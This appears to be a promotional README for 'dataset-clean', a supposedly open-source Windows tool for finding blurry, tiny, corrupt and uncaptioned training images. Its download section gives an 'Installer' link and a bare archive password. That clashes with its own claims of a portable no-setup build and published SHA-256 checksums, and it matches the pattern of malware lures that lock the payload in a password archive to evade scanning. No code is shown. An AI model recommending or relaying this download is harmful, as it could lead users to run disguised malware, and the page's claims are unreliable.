🫧 Free, open-source dataset cleaner for Windows — finds blurry, tiny, broken and mislabeled training images. 100 MB portable, offline, MIT.
- ✅ Blur scoring — Laplacian variance ranking surfaces the soft shots that teach a model nothing
- ✅ Resolution floor — flags anything under your minimum edge length for the planned training resolution
- ✅ Corrupt file detection — truncated JPEGs and unreadable files found before the trainer crashes on them
- ✅ Caption pair check — images without captions and orphan captions without images listed together
- ✅ Review before action — problems grouped by type with thumbnails; decide per item or in bulk
- ✅ HTML report — shareable quality report of the dataset with every finding
- ✅ 100 MB self-contained exe — runtime bundled, portable, fully offline, MIT with SHA-256 releases
- MIT licensed, source in the open
- No ads, no account, no telemetry
- Single portable 100 MB build - no setup required, runs offline
- CI builds every release and publishes SHA-256 checksums
- Windows 10 / 11 x64
| Feature | dataset-clean | Manual review | Scripts | Generic dupe finders |
|---|---|---|---|---|
| Price | Free, MIT | Your evening | Free, OSS | Free or paid |
| Open source | Yes | N/A | Yes | Partial |
| Blur quality scoring | Yes | Eyeball only | Scripted | No |
| Caption pair validation | Yes | Rare | Scripted | No |
| Grouped findings report | Yes | No | No | Partial |
| Portable, no install | Yes, 100 MB | N/A | Python env | Varies |
why does my LoRA look blurry? how to find bad images in a dataset
A model learns whatever is in the set, including the blurry, tiny and corrupt files nobody opened. dataset-clean scores sharpness, checks resolution and caption pairs, and groups findings for fast bulk decisions. It is a 100 MB portable exe, MIT, offline, and it reports before it touches a single file.
All screenshots describe the 1280x800 dark UI.
- Dark audit (#121418, cyan #22D3EE): findings sidebar with blur, low-res and corrupt groups, image grid sorted worst-first, score chip reading blur 12.4.
- Caption pair view: three problem rows — image missing caption, orphan txt, empty caption — with open-folder and bulk-fix buttons.
- HTML report preview: quality summary cards with percentages, worst offenders strip at bottom, export button, toast reading report saved.
| Source | Link |
|---|---|
| 💾 Installer dataset-clean | Installer dataset-clean |
Archive password:
5139237619
Requires the .NET 8 SDK on Windows 10/11 x64:
dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true
MIT. See LICENSE.